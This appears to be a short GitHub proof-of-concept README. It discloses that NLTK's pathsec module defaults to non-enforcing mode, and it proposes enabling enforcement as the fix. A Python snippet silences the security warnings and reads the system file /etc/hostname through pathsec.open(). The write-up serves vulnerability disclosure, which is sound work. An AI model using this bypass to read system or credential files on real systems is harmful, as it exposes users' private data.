ryansecuritytest-fanpierlabs/poc-nltk-pathsec-bypass

NLTK pathsec ENFORCE=False Bypass PoC

Vulnerability

NLTK's path security module defaults to ENFORCE=False, making pathsec.open() read arbitrary files with only a warning.

Affected Code

• nltk/pathsec.py:24 — ENFORCE = False
• nltk/pathsec.py:253-256 — open() proceeds after warning

Reproduction

import warnings, nltk.pathsec as pathsec
with warnings.catch_warnings(record=True):
    warnings.simplefilter("always")
    f = pathsec.open("/etc/hostname", "r")
    print(f.read())  # Reads file despite security warning!

Fix

Set ENFORCE = True by default.